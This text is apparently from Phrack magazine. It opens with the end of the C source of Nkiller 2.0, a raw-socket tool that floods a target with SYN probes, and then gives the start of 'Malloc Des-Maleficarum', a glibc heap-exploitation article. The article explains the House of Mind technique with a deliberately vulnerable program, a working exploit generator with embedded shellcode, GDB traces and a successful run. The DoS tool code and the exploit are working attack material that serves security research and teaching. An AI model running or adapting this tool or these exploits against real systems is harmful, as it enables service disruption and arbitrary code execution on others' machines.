        if (errno != 0 || *endp != ’\0’)
          fatal("Invalid probes-per-round number: %s\n", optarg);
        break;
      case ’T’:    /* template number */
        endp = NULL;
        o.template = strtoul(optarg, &endp, 0);
        if (errno != 0 || *endp != ’\0’)
          fatal("Invalid template number: %s\n", optarg);
        break;
      case ’P’:    /* probe timer interval */
        endp = NULL;
        o.probe_interval = strtoul(optarg, &endp, 0);
        if (errno != 0 || *endp != ’\0’)
          fatal("Invalid probe-interval number: %s\n", optarg);
        break;
      case ’g’:  /* guard mode */
        o.guardmode++;
        break;
      case ’v’:  /* verbose mode */
        o.verbose++;
        break;
      case ’d’:  /* debug mode */
        endp = NULL;
        debug_level = strtoul(optarg, &endp, 0);
        if (errno != 0 || *endp != ’\0’)
          fatal("Invalid probe number: %s\n", optarg);
        if (debug_level != 1 && debug_level != 2)
          fatal("Debug level must be either 1 or 2\n");
        else if (debug_level == 1)
          o.debug++;
        else {
          o.debug2++;
          o.debug++;
        }
        break;
      case ’s’:   /* sleep time between each probe */
        endp = NULL;
        o.sleep = strtoul(optarg, &endp, 0);
        if (errno != 0 || *endp != ’\0’)
          fatal("Invalid sleep number: %s\n", optarg);
        break;
      case ’y’:   /* dynamic port handling */
        o.dynamic++;
        break;
      case ’h’:   /* help - usage */
        print_help = 1;
        break;
      case ’?’:   /* error */
        usage();
        break;
    }
  }

  if (print_help) {
    help();
    exit(EXIT_SUCCESS);
  }

  if (getuid() && geteuid())
    fatal("You need to be root.\n");

  if (required < 2)
```

```
    fatal("You have to define both -t <target> and -p <portlist>\n");

  (void) fprintf(stdout, "\nStarting Nkiller 2.0 "
      "( http://sock-raw.org )\n");

  Target = xmalloc(sizeof(HostInfo));
  Sniffer = xmalloc(sizeof(SniffInfo));

  Target->portlen = portlen;
  for (i = 0; i < Target->portlen; i++)
    port_add(Target, o.portlist[i]);

  if (!unlimited && probe_byusr)
    probes = o.probes;

  inet_pton(AF_INET, o.target, &Target->daddr);

  handle_payloads(Target);
  sniffer_init(Target, Sniffer);

  if (o.verbose) {
    if (unlimited)
      (void) fprintf(stdout, "Probes: unlimited\n");
    else
      (void) fprintf(stdout, "Probes: %u\n", probes);
    (void) fprintf(stdout,
        "Probes per round: %u\n"
        "Pcap polling time: %u microseconds\n"
        "Sleep time: %u microseconds\n"
        "Key: %s\n"
        "Probe interval: %u seconds\n"
        "Template: %s\n", o.probes_per_rnd, o.polltime,
        o.sleep, o.skey, o.probe_interval, get_template(o.template));
    if (o.guardmode)
      (void) fprintf(stdout, "Guardmode on\n");
  }

  probes_sent = 0;
  probes_left = probes;
  probes_rnd_fini = 0;
  probes_this_rnd = 0;

  /* Main loop */
  while (probes_left || o.guardmode || unlimited) {

    if (probes_rnd_fini >= o.probes_per_rnd) {
      probes_rnd_fini = 0;
      probes_this_rnd = 0;
    }

    if (!unlimited && probes_left == (0.5 * probes) && o.verbose)
      (void) fprintf(stdout, "Half of probes left.\n");

    if (probes_sent < probes && probes_this_rnd < o.probes_per_rnd) {
      send_syn_probe(Target, Sniffer);
      if (!unlimited)
        probes_sent++;
      probes_this_rnd++;
    }

    usleep(o.sleep);  /* Wait a bit before each probe */

    state = check_replies(Target, Sniffer, &reply);

    switch (state)
    {
      case S_ERR:
        continue;
        break;
      case S_SYNACK:
        send_probe(reply, Target, S_SYNACK);
        free(reply);
        break;
      case S_FDACK:
        continue;
        break;
      case S_PROBE:
        send_probe(reply, Target, S_PROBE);
        free(reply);
        probes_rnd_fini++;
        if (!unlimited)
          probes_left--;
        break;
      case S_DATA_0:
        send_probe(reply, Target, S_DATA_0);
        free(reply);
        if (o.template == T_BSDWIN)
          probes_rnd_fini++;
        break;
      case S_DATA_1:
        send_probe(reply, Target, S_DATA_1);
        free(reply);
        /* Increase aggressiveness */
        probes_rnd_fini++;
        break;
      default:
        break;
    }

  }

  (void) fprintf(stdout, "Finished.\n");
  exit(EXIT_SUCCESS);
}
```

-- [6 - References

[1]. netkill - generic remote DoS attack by stanislav shalunov -
http://seclists.org/bugtraq/2000/Apr/0152.html

[2]. TCP DoS Vulnerabilities by Fabian 'fabs' Yamaguchi -
http://www.recurity-labs.com/content/pub/25C3TCPVulnerabilities.pdf

[3]. TCP/IP Illustrated vol. 1 - W. Richard Stevens

[4]. Linux Kernel Development (Chapter 10 - Timers and Time Management)
  - Robert Love

Additional related material:

[5]. Understanding Linux Network Internals (O'reilly)

[6]. Understanding the Linux Kernel (O'reilly)

[7]. Dave Miller's TCP notes:
      - http://vger.kernel.org/~davem/tcp_output.html
      - http://vger.kernel.org/~davem/tcp_skbcb.html

[8]. The Design and Implementation of the FreeBSD Operating System

--------[EOF

```
                                ==Phrack Inc.==

               Volume 0x0d, Issue 0x42, Phile #0x0A of 0x11
```

```
|=-----------------------------------------------------------------------=|
|=-----------------------=[ MALLOC DES-MALEFICARUM ]=--------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=----------------=[    By blackngel                    ]=---------------=|
|=----------------=[                                    ]=---------------=|
|=----------------=[    <black *noSPAM* set-ezine.org>    ]=---------------=|
|=----------------=[    <blackngel1 *noSPAM* gmail.org>   ]=---------------=|
|=-----------------------------------------------------------------------=|
```

```
          ^^
      *`* @@ *`*     HACK THE WORLD
     *   *--*   *
          ##         <blackngel1@gmail.com>
          ||         <black@set-ezine.org>
         *  *
        *    *       (C) Copyleft 2009 everybody
       _*    *_
```

---[INDEX

---[END INDEX

"Traduitori son tratori"

```
           -----------------
---[ 1 ---[   THE HISTORY   ]---
           -----------------
```

On August 11, 2001, two papers were released in that same magazine and they went to demonstrate a new advance in the vulnerabilities exploitation world. MaXX wrote in his "Vudo malloc tricks" paper [1], the basic implementation and algorithms of GNU C Library, Doug Lea's malloc(), and he presented to the public various methods that be able to trigger arbitrary code execution through heap overflows. At the same time, he showed a real-life exploit of the "Sudo" application.

In the same number of Phrack, an anonymous person released other article, titled "Once upon a free()" [2]. Its main goal was explain the System V malloc implementation.

On August 13, 2003, "jp <jp@corest.com>" developed of a way more advanced the skills initiated in the previous texts. His article, called "Advanced Doug Lea's malloc exploits" [3], maybe out the biggest support to what it was for coming...

The skills published in the first one of the articles, showed:

- unlink () method.
- frontlink () method.

... these methods were applicable until the year 2004, when the GLIBC library was patched so those methods did not work.

But not everything was said with regard to this topic. On October 11 of 2005, Phantasmal Phantasmagoria was publishing on the "bugtraq" mailing list an article which name provokes a deep mystery: "Malloc Maleficarum" [4].

The name of the article was a variation of an ancient text
 called "Malleus Maleficarum" (The Hammer of the Witches)...

Phantasmal also was the author of the fantastic article "Exploiting the Wilderness" [5], the chunk most afraid (at first) by the heap's lovers.

Malloc Maleficarum was a completely theoretical presentation of what could become the new skills of exploitation with regard to topic of the heap overflows. His author split each one of the skills titling them of the following way:

```
   The House of Prime
   The House of Mind
   The House of Force
   The House of Lore
   The House of Spirit
   The House of Chaos (conclusion)
```

And certainly, it was the revolution that open again the minds when the doors had been closed.

The only one fault of this article is that it was not showing any proof of concept that demonstrated that each and every one of the skills were possible.

Probably, the implementations stayed in the "background", or maybe in closed circles.

On January 1, 2007, in the electronic magazine ".aware EZine Alpha", K-sPecial published an article simply called "The House of Mind" [6]. This one come to declaring in first instance the lacking small fault of Phantasmal's article.

On the other hand, he solved it presenting a proof of concept continued with its correspondent exploit.

Also, K-sPecial's paper was bringing to the light a couple of shades in which Phantasmal had missed in his interpretation of the Houses skills.

Finally, on May 25, 2007, g463 published in Phrack an article called: "The use of set_head to defeat the wilderness." [7] g463 described how to obtain a "write almost 4 arbitrary bytes to almost anywhere" primitive by exploiting an existing bug in the file (1) utility. This is the most recent advance in heap overflows.

```
              << En todas las actividades es saludable, de vez
                 en cuando, poner un signo de interrogacion
                 sobre aquellas cosas que por mucho tiempo se
                 han dado como seguras. >>

                                          [ Bertrand Russell ]
```

```
           ------------------
---[ 2 ---[   INTRODUCTION   ]---
           ------------------
```

We could to define this paper as "The Practical Guide of the Malloc Maleficarum". And exactly, our main goal is demythologize the majority of the methods described in this paper through practical examples (so much the vulnerable programs as its associated exploits).

On the other hand, and very importantly, certain mistakes were trying to be corrected that were an object of wrong interpretation in Malloc Maleficarum. Mistakes that are today more easy to see thanks to the enormous work that Phantasmal give us in his moment. He is an adept, a "virtual adept" certainly...

It is due to these mistakes that in this article I present new contributions to the world of the heap overflow under Linux, introducing variations in the skills presented by Phantasmal, and totally new ideas that could allow arbitrary code execution by a better way.

In short, you will see in this article:

- Clean modification of K-sPecial’s exploit in The House of Mind.
- Implementation renewed of the "fastbin" method in The House of Mind.
- Practical implementation of The House of Prime method.
- New idea for direct arbitrary code execution in unsorted_chunks() method in The House of Prime.
- The House of Spirit practical implementation.
- The House of Force practical implementation.
- Recapitulation of mistakes in The House of Force theory committed in Malloc Maleficarum.
- Theoretical/practical approximation to The House of Lore.

In addition to a general understanding of the implementation of the "Doug Lea’s malloc" library, I recommend two things:

1) Read first the article of MaxX [1].
2) Download and read the source code of glibc-2.3.6 [8] (malloc.c and arena.c).

NOTE: Except for The House of Prime, I had used a x86 Linux distro, on a 2.6.24-23 kernel, with glibc version 2.7, which shows that these techniques are still applicable today. Also, I have check that some of them are availables in 2.8.90.

NOTE 2: The current implementation of malloc is known as "ptmalloc", which is an implementation based on the previous "dlmalloc". Ptmalloc was created by Wolfram Gloger. At present, from glibc 2.7 to 2.10 are Ptmalloc2 based. You can obtain more information if you visit [9].

As there, it would be desirable to have at your side the Phantasmal's theory as support to subsequent methods that will be implemented. However, the concepts described in this paper should be sufficient for an almost complete understanding of the topic.

In this article you will see, through the witches, as there are still some ways to go. And we can go together ...

> << Lo que conduce y arrastra
> al mundo no son las maquinas,
> sino las ideas. >>
>
> [Victor Hugo]

```
           ------------------------
---[ 3 ---[   WELCOME TO THE PAST  ]---
           ------------------------
```

Why does the "unlink()" technique not apply now?

"unlink ()" assumed that if two chunks were allocated in the heap, and second was vulnerable to being overwritten through an overflow of first, a third fake chunk could be created and so deceive "free ()" to proceed to unlink this second chunk and tie with the first.

Unlink was produced with the following code:

```
   #define unlink( P, BK, FD ) {            \
       BK = P->bk;                          \
       FD = P->fd;                          \
       FD->bk = BK;                         \
       BK->fd = FD;                         \
   }
```

Being P the second chunk, "P->fd" was changed to point to a memory area capable of being overwritten (such as .dtors - 12). If "P->bk" then pointed to the address of a Shellcode located at memory for an exploiter (at ENV or perhaps the same first chunk), then this address would be written in the 3rd step of unlink() code, in "FD->bk". Then:

```
   "FD->bk" = "P->fd" + 12 = ".dtors".
   ".dtors" -> &(Shellcode)
```

In fact, when using DTORS, "P->fd" should point to .dtors+4-12 so that "FD->bk" point to DTORS_END, to be executed at finish of application. GOT is also a good goal, or a function pointer or more things ...

And here started the fun!

By applying the appropriate patches glibc, the macro "unlink()" is shown as follows:

```
   #define unlink(P, BK, FD) {                                            \
     FD = P->fd;                                                          \
     BK = P->bk;                                                          \
     if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                \
       malloc_printerr (check_action, "corrupted double-linked list", P); \
     else {                                                               \
       FD->bk = BK;                                                       \
       BK->fd = FD;                                                       \
     }                                                                    \
   }
```

If "P->fd", pointing to the next chunk (FD), is not modified, then the "bk" pointer of FD should point to P. The same is true with the previous chunk (BK)... if "P->bk" points to the previous chunk, then the forward pointer at BK should point to P. In any other case, mean an error in the double linked list and thus the second chunk (P) has been hacked.

And here ended the fun!

> << Nuestra tecnica no solo produce artefactos,
> esto es, cosas que la naturaleza no produce,
> sino tambien las cosas mismas que la naturaleza
> produce y dotadas de identica actividad
> natural. >>
>
> [Xavier Zubiri]

---[4 ---[DES-MALEFICARUM...   ]---

Read carefully what now comes. I just hope that at the end of this paper, the witches have completely disappeared.

Or... would it be better that they stay?

---[4.1 ---[THE HOUSE OF MIND   ]---

We will study "The House of Mind" technique here, step by step, so that those who start at these boundaries do not find too many problems along the path... a path that already may be a little hard.

Neither show is worth a second view / opinion about how develop the exploit, which in my case had a small behavioral variation (we will see it below).

The understanding of this technique will become much easier if for some accident I can demonstrate the ability of know to show the steps in certain order, otherwise the mind go from one side to another, but... test and play with the technique.

"The House of Mind" is described as perhaps the easiest method or, at least, more friendly with respect to what was "unlink()" in its moment of glory.

Two variants will be shown. Let's see here the first one:

NOTE 1: Only one call to "free()" is needed to provoke arbitrary code
        execution.

NOTE 2: From here, we will have always in mind that "free()" is executed
        on a second chunk that can be overflowed by another chunk that
        has been allocated before.

According to "malloc.c," a call to "free()" triggers the execution of a wrapper (in the jargon "wrapper functions") called "public_fREe()".

Here the relevant code:

```
   void
   public_fREe(Void_t* mem)
   {
       mstate ar_ptr;
       mchunkptr p;        /* chunk corresponding to mem */
       ...
       p = mem2chunk(mem);
       ...
       ar_ptr = arena_for_chunk(p);
       ...
       _int_free(ar_ptr, mem);
   }
```

A call to "malloc (x)" returns, always that there is still memory available, a pointer to the memory area where data can be stored, moved, copied, etc.

Imagine for example that:

```
   "char * ptr = (char *) malloc (512);"
```

...returns the address "0x0804a008". This address is the "mem" content when "free()" is called.

The "mem2chunk(mem)" function returns a pointer to the start address of chunk (not the data, but the beginning of the chunk), which in a allocated chunk is set to something like:

```
   &mem - sizeof(size) - sizeof(prev_size) = &mem - 8.

   p = (0x0804a000);
```

"p" is send to "arena_for_chunk()". As we can read in "arena.c", it trigger the following code:

```
   #define HEAP_MAX_SIZE (1024*1024) /* must be a power of two */
                    ______________________________________________
                   |                                              |
   #define heap_for_ptr(ptr) \                                    |
      ((heap_info *)((unsigned long)(ptr) & ~(HEAP_MAX_SIZE-1)))  |
                                                                  |
   #define chunk_non_main_arena(p)  ((p)->size & NON_MAIN_ARENA)  |
  __________________|                          ___________________|
 |                                            |
 | #define arena_for_chunk(ptr) \             |
 |___(chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena)
```

As we see, "p" is now "ptr". It is passed "chunk_non_main_arena()" which is responsible for checking whether the "size" of this chunk has its third least significant bit enabled (NON_MAIN_ARENA = 4h = 100b).

In a unmodified chunk, this function returns "false" and the address of "main_arena" will be returned by "arena_for_chunk()". But... fortunately, since we can corrupt the "size" field of "p", and enabled NON_MAIN_ARENA bit, then we can fool "arena_for_chunk()" to call to "heap_for_ptr().

We are now in:

```
   (heap_info *) ((unsigned long)(0x0804a000) & ~(HEAP_MAX_SIZE-1)))

   then:

   (heap_info *) (0x08000000)
```

We must have in mind that "heap_for_ptr()" is a macro and not a function. Then, once more in "arena_for_chunk()" we have:

```
   (0x08000000)->ar_ptr
```

"ar_ptr" is the first member of a "heap_info" structure. It is defined as you can see:

```
   typedef struct _heap_info {
     mstate ar_ptr; /* Arena for this heap. */
     struct _heap_info *prev; /* Previous heap. */
     size_t size;   /* Current size in bytes. */
     size_t pad;    /* Make sure the following data is properly aligned. */
   } heap_info;
```

So what you are looking at (0x08000000) the address of an "arena" (it will be defined shortly). For now, we can say that at (0x08000000) there isn't any address to point to any "arena", so the application soon will break with a segmentation fault. (assuming an ET_EXEC with a base of 0x08048000)

It seems that our move end here. As our first chunk is just behind of the second chunk at (0x0804a000) (but not much), this only allows us to overwrite forward, preventing us write anything at (0x08000000).

But wait a moment... what happens if we can overwrite a chunk with an address like this: (0x081002a0)?

If our first chunk was at (0x0804a000), we can overwrite ahead and put in (0x08100000) an arbitrary address (usually the begining of the data of our first chunk).

Then "heap_for_ptr(ptr)->ar_ptr" take this address, and...

```
 return heap_for_ptr(ptr)->ar_ptr | ret (0x08100000)->ar_ptr = 0x0804a008
 -------------------------------- | -------------------------------------
 ar_ptr = arena_for_chunk(p);     | ar_ptr = 0x0804a008
 ...                              |
 _int_free(ar_ptr, mem);          | _int_free(0x0804a008, 0x081002a0);
```

Think that we can change "ar_ptr" to any value. For example, we can do that it points to an environment variable or another place. At this address of memory, "_int_free()" expects to find an "arena" structure.

Let's see now ...

```
    mstate ar_ptr;
```

"mstate" is actually a real "malloc_state" structure (no comments):

```
   struct malloc_state {
     mutex_t mutex;
     INTERNAL_SIZE_T  max_fast;   /* low 2 bits used as flags */
     mfastbinptr      fastbins[NFASTBINS];
     mchunkptr        top;
     mchunkptr        last_remainder;
     mchunkptr        bins[NBINS * 2];
     unsigned int     binmap[BINMAPSIZE];
     ...
     INTERNAL_SIZE_T system_mem;
     INTERNAL_SIZE_T max_system_mem;
   };
   ...
   static struct malloc_state main_arena;
```

Soon it will be helpful to know this. The goal of The House of Mind is to ensure that the unsorted_chunks() code is reaached in "_int_free ()":

```
   void _int_free(mstate av, Void_t* mem) {
      .....
      bck = unsorted_chunks(av);
      fwd = bck->fd;
      p->bk = bck;
      p->fd = fwd;
      bck->fd = p;
      fwd->bk = p;
      .....
   }
```

This is already beginning to look a bit more to "unlink()".

Now "av" is the value of "ar_ptr" which is supposed to be the beginning of an "arena". More... "unsorted_chunks ()," according to Phantasmal Phantasmagoria, return the value of "av->bins[0]". If "av" is (0x0804a008) (the start of our buffer), and we can write forward, we can control the value of bins[0], once past fields: mutex, max_fast, fastbins[] and top. This is simple ...

Phantasmal showed us that if we put in av->bins[0] the address of ".dtors" minus 8, then, the penultimate sentence write in this address plus 8, the address of the overflow "p". In this address is the "prev_size" field and there can place any thing, such as a "JMP", then we can jump to shellcode located a little later and you know as follows ...

```
   p = 0x081002a0 - 8;
   ...
   bck = .dtors + 4 - 8
   ...
   bck + 8 = DTORS_END = 0x08100298

   1st Bit     -bins[0]-                    2nd Bit
   [ .......... .dtors+4-8 ] [0x0804a008 ... ] [jmp 0xc ...... (Shellcode)]
   |                         |                  |
   0x0804a008                0x08100000         0x08100298
```

When application finishes running DTORS, therefore the jump is executed, and our Shellcode.

Although the idea was good, K-special warned us that "unsorted_chunks ()", in fact, did not return the value of "av->bins[0]," but it returns its address "&".

Let’s take a look:

```
   #define bin_at(m, i) ((mbinptr)((char*)&((m)->bins[(i)<<1]) -
                                                (SIZE_SZ<<1)))
   ...
   #define unsorted_chunks(M)          (bin_at(M, 1))
```

Indeed, we see that "bin_at()" returns the address and not the value. Therefore another way must be taken. Bearing this in mind, we can do the next:

```
   bck = &av->bins[0];                      /* Address of ...   */
   fwd = bck->fd = *(&av->bins[0] + 8);     /* The value of ... */
   fwd->bk = *(&av->bins[0] + 8) + 12 = p;
```

Which means that if we control the value located in:
"&av->bins[0] + 8" and we put there ".dtors + 4 - 12", that will be placed in "fwd". In the last sentence it’ll be written into DTORS_END the address of the second chunk "p", and continue as above.

But we have jumped here without crossing the road full of spines. Our friend Phantasmal also warned us that to run this piece of code, certain conditions should be met. Now we will see each of them related with its corresponding portion of code in the "_int_free()".

1) The negative value of the overwritten chunk must be less than the value of this chunk "p".

```
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) ...
```

PLEASE NOTE: This must be a misinterpretation of language. To jump this integrity check: "-size" must be "greater" than the value of "p".

2) The size of the chunk must not be less than or equal to av->max_fast.

```
if ((unsigned long)(size) <= (unsigned long)(av->max_fast) ...
```

We control the size of the overflow chunk so as "av->max_fast" which is the second field of our "fakearena".

3) The bit IS_MMAPPED must not be set into the "size" field.

```
else if (!chunk_is_mmapped(p)) { ...
```

Also, we control the second least significant bit of the "size".

4) The overwrited chunk can not be av->top (Wilderness chunk).

```
if (__builtin_expect (p == av->top, 0)) ...
```

5) The NONCONTIGUOUS_BIT of av->max_fast must be set.

```
if (__builtin_expect (contiguous (av) ...
```

Designer controls "av->max_fast" and know that NONCONTIGUOUS_BIT is "0x02" = "10b".

6) The PREV_INUSE bit of the next chunk must be set.

```
if (__builtin_expect (!prev_inuse(nextchunk), 0)) ...
```

This is the default in an allocated chunk.

7) The size of nextchunk must be greater than 8.

```
if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0) ...
```

8) The size of nextchunk must be less than av->system_mem

```
... __builtin_expect (nextsize >= av->system_mem, 0)) ...
```

9) The PREV_INUSE bit of the chunk must not be set.

```
/* consolidate backward */
if (!prev_inuse(p)) { ...
```

ATTENTION: Phantasmal seems wrong here, at least according to my opinion, the PREV_INUSE bit of overwritten chunk, must be set in order to bypass this check and not unlink the previous chunk.

10) The nextchunk cannot equal av->top.

```
if (nextchunk != av->top) { ...
```

If we alter all the information from "av->fastbins[]" to "av->bins[0]", then "av->top" will be overwritten and will be almost impossible to be equal to "nextchunk".

  11) The PREV_INUSE bit of the chunk after nextchunk
      (nextchunk + nextsize) must be set.

```
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
      /* consolidate forward */
      if (!nextinuse) { ...
```

The path seems long and tortuous, but it is not so much when we control most situations. Let's go to see the vulnerable program of our friend K-sPecial:

[-----]

```
/*
 * K-sPecial's vulnerable program
 */

#include <stdio.h>
#include <stdlib.h>

int main (void) {
   char *ptr  = malloc(1024);        /* First allocated chunk */
   char *ptr2;                       /* Second chunk           */
   /* ptr & ~(HEAP_MAX_SIZE-1) = 0x08000000 */
   int heap = (int)ptr & 0xFFF00000;
   _Bool found = 0;

   printf("ptr found at %p\n", ptr);  /* Print address of first chunk */

   // i == 2 because this is my second chunk to allocate
   for (int i = 2; i < 1024; i++) {
     /* Allocate chunks up to 0x08100000 */
     if (!found && (((int)(ptr2 = malloc(1024)) & 0xFFF00000) == \
                                           (heap + 0x100000))) {
       printf("good heap allignment found on malloc() %i (%p)\n", i, ptr2);
          found = 1; /* Go out */
          break;
       }

   }
        malloc(1024); /* Request another chunk: (ptr2 != av->top) */
        /* Incorrect input: 1048576 bytes */
        fread (ptr, 1024 * 1024, 1, stdin);

        free(ptr);   /* Free first chunk  */
        free(ptr2);  /* The House of Mind */
        return(0);   /* Bye */
}
```

[-----]

Note that the input allows NULL bytes without ending our string. This makes our task more easy.

The K-sPecial's exploit create the following string:

[-----]

```
 0x0804a008
 |
 [Ax8][0h x 4][201h x 8][DTORS_END-12 x 246][(409h-Ax1028) x 721][409h] ...
              |                   |
              av->max_fast        bins[0]      size
                                               |
 .... [(&1st chunk + 8) x 256][NOPx2-JUMP 0x0c][40Dh][NOPx8][SHELLCODE]
              |               |                      |
              0x08100000      prev_size (0x08100298) *mem (0x081002a0)
```

[-----]

1) The first call to free() overwrites the first 8 bytes with garbage, then K-special prefer to skip this area and put into (0x08100000) the address of the first chunk + 8(data area) + 8 (0x0804a010). Here begins the fake arena structure.

2) Then comes "\x00\x00\x00\x00" that fills the "av->mutex" field. Other value will cause that the exploit to fail.

3) "av->max_fast" get the value "102h". This satisfies the conditions 2 and 5:

```
     (2) (size > max_fast) -> (40Dh > 102h)
     (5) "\x02" NONCONTIGUOUS_BIT is set
```

4) Complete the first chunk with the DTORS_END (.dtors+4) address minus 8. This will overwrite &av->bins[0] + 8.

5) Fill the nexts chunks until (0x08100000) with characters "A", while retaining the "size" field (409h) of each chunk. Each one has PREV_INUSE bit properly set.

6) To reach the address of the overwritten chunk "p", we fill with the address where we will find our "fakearena", which is the address of the first chunk plus 8. The goal is jump garbage bytes that will be overwritten.

7) The "prev_size" field of "p" must be "nop; nop; jmp 0x0c;". It will jump to our Shellcode when DTORS_END will be executed at the end of the application.

8) The "size" field of "p" must be greater than the value written in "av->max_fast" and also have the NON_MAIN_ARENA bit activated which was the trigger for this whole story in The House of Mind.

9) A few NOPS and then our Shellcode.

After understanding some very solid ideas, I was really surprised when a simple execution of the K-sPecial's exploit produced the following output:

```
blackngel@linux:~$ ./exploit > file
blackngel@linux:~$ ./heap1 < file
ptr found at 0x804a008
good heap allignment found on malloc() 724 (0x81002a0)
*** glibc detected *** ./heap1: double free or corruption (out): 0x081002a0
...
```

In "malloc.c" this error corresponds to the integrity check:

```
   if (__builtin_expect (contiguous (av)
```

Let's go to see what happens with GDB:

[-----]

```
blackngel@linux:~$ gdb -q ./heap1
(gdb) disass main
Dump of assembler code for function main:
.....
.....
0x08048513 <main+223>:  call   0x804836c <free@plt>
0x08048518 <main+228>:  mov    -0x10(%ebp),%eax
0x0804851b <main+231>:  mov    %eax,(%esp)
0x0804851e <main+234>:  call   0x804836c <free@plt>
0x08048523 <main+239>:  mov    $0x0,%eax
0x08048528 <main+244>:  add    $0x34,%esp
0x0804852b <main+247>:  pop    %ecx
```

```
0x0804852c <main+248>:  pop    %ebp
0x0804852d <main+249>:  lea    -0x4(%ecx),%esp
0x08048530 <main+252>:  ret
End of assembler dump.
(gdb) break *main+223             /* Before first call to free() */
Breakpoint 1 at 0x8048513
(gdb) break *main+228             /* After first call to free()  */
Breakpoint 2 at 0x8048518
(gdb) run < file
Starting program: /home/blackngel/heap1 < file
ptr found at 0x804a008
good heap allignment found on malloc() 724 (0x81002a0)

Breakpoint 1, 0x08048513 in main ()
Current language:  auto; currently asm
(gdb) x/16x 0x0804a008
0x804a008:      0x41414141      0x41414141      0x00000000      0x00000102
0x804a018:      0x00000102      0x00000102      0x00000102      0x00000102
0x804a028:      0x00000102      0x00000102      0x00000102      0x08049648
0x804a038:      0x08049648      0x08049648      0x08049648      0x08049648
(gdb) c
Continuing.

Breakpoint 2, 0x08048518 in main ()
(gdb) x/16x 0x0804a008
0x804a008:      0xb7fb2190      0xb7fb2190      0x00000000      0x00000000
0x804a018:      0x00000102      0x00000102      0x00000102      0x00000102
0x804a028:      0x00000102      0x00000102      0x00000102      0x08049648
0x804a038:      0x08049648      0x08049648      0x08049648      0x08049648
```

[-----]

When the application stopped before the first free(), we can see our buffer seems to be well formed: [A x 8] [0000] [102h x 8].

But once the first call to free () is completed, as we said, the first 8 bytes are trashed with memory addresses. Most surprising is that the memory 0x0804a0010(av) + 4, is set to zero (0x00000000).

This position should be "av->max_fast", which being zero and not having NONCONTIGUOUS_BIT bit enabled, dumps the error above. This seems happens with the following instructions:

```
   # define mutex_unlock(m)            (*(m) = 0)
```

... that is executed to the end of "_int_free()" with:

```
   (void *)mutex_unlock(&ar_ptr->mutex);
```

Anyway, if someone puts a 0 for us. What happens if we do that ar_ptr points to 0x0804a014?

```
(gdb) x/16x 0x0804a014
                // Mutex       // max_fast ?
0x804a014:      0x00000000      0x00000102      0x00000102      0x00000102
0x804a024:      0x00000102      0x00000102      0x00000102      0x00000102
0x804a034:      0x08049648      0x08049648      0x08049648      0x08049648
0x804a044:      0x08049648      0x08049648      0x08049648      0x08049648
```

So we can save 8 bytes of garbage in the exploit and the hardcoded value of "mutex", and leave to free () to do the rest for us.

[-----]

```
blackngel@mac:~$ gdb -q ./heap1
(gdb) run < file
Starting program: /home/blackngel/heap1 < file
ptr found at 0x804a008
```

```
good heap allignment found on malloc() 724 (0x81002a0)

Program received signal SIGSEGV, Segmentation fault.
0x081002b2 in ?? ()
(gdb) x/16x 0x08100298
0x8100298:      0x90900ceb      0x00000409      0x08049648      0x0804a044
0x81002a8:      0x00000000      0x00000000      0x5bf42474      0x5e137381
0x81002b8:      0x83426ac9      0xf4e2fceb      0xdb32c234      0x6f02af0c
0x81002c8:      0x2a8d403d      0x4202ba71      0x2b08e636      0x10894030
(gdb)
```

[-----]

It seems that the second chunk "p", again suffer the wrath of free(). PREV_SIZE field is OK, SIZE field is OK, but the 8 NOPS are trashed with two memory addresses and 8 bytes NULL.

Note that after the call to "unsorted_chunks()", we have two sentences like these:

```
      p->bk = bck;
      p->fd = fwd;
```

It is clear that both pointers are overwritten with the address of the previous and next chunks to our overflowed chunk "p".

What happens if we place 16 NOPS?

[-----]

```
/*
 * K-sPecial exploit modified by blackngel
 */

#include <stdio.h>

/* linux_ia32_exec -  CMD=/usr/bin/id Size=72 Encoder=PexFnstenvSub
http://metasploit.com */
unsigned char scode[] =
"\x31\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e"
"\xc9\x6a\x42\x83\xeb\xfc\xe2\xf4\x34\xc2\x32\xdb\x0c\xaf\x02\x6f"
"\x3d\x40\x8d\x2a\x71\xba\x02\x42\x36\xe6\x08\x2b\x30\x40\x89\x10"
"\xb6\xc5\x6a\x42\x5e\xe6\x1f\x31\x2c\xe6\x08\x2b\x30\xe6\x03\x26"
"\x5e\x9e\x39\xcb\xbf\x04\xea\x42";

int main (void) {

     int i, j;

   for (i = 0; i < 44 / 4; i++)
          fwrite("\x02\x01\x00\x00", 4, 1, stdout); /* av->max_fast-12 */

   for (i = 0; i < 984 / 4; i++)
          fwrite("\x48\x96\x04\x08", 4, 1, stdout); /* DTORS_END - 8   */

   for (i = 0; i < 721; i++) {
          fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* PRESERVE SIZE   */
          for (j = 0; j < 1028; j++)
                  putchar(0x41);                     /* PADDING         */
   }
   fwrite("\x09\x04\x00\x00", 4, 1, stdout);

   for (i = 0; i < (1024 / 4); i++)
          fwrite("\x14\xa0\x04\x08", 4, 1, stdout);

   fwrite("\xeb\x0c\x90\x90", 4, 1, stdout); /* prev_size -> jump 0x0c */

   fwrite("\x0d\x04\x00\x00", 4, 1, stdout); /* size -> NON_MAIN_ARENA */
   fwrite("\x90\x90\x90\x90\x90\x90\x90\x90" \
          "\x90\x90\x90\x90\x90\x90\x90\x90", 16, 1, stdout);  /* NOPS */

   fwrite(scode, sizeof(scode), 1, stdout); /* SHELLCODE */

   return 0;
}
```

[-----]

```
blackngel@linux:~$ ./exploit > file
blackngel@linux:~$ ./heap1 < file
ptr found at 0x804a008
good heap allignment found on malloc() 724 (0x81002a0)
uid=1000(blackngel) gid=1000(blackngel) groups=4(adm),20(dialout),
24(cdrom),25(floppy),29(audio),30(dip),33(www-data),44(video),
46(plugdev),104(scanner),108(lpadmin),110(admin),115(netdev),
117(powerdev),1000(blackngel),1001(compiler)
blackngel@linux:~$
```

We have succeeded! Up to this point, you could think that the first of conditions for The House of Mind (a piece of memory allocated in an address like 0x08100000) seems impossible from a practical point of view.

But this must be considered again for two reasons:

   1) You can to allocate a big amount of memory.
   2) The user can control this amount.

Is that true?

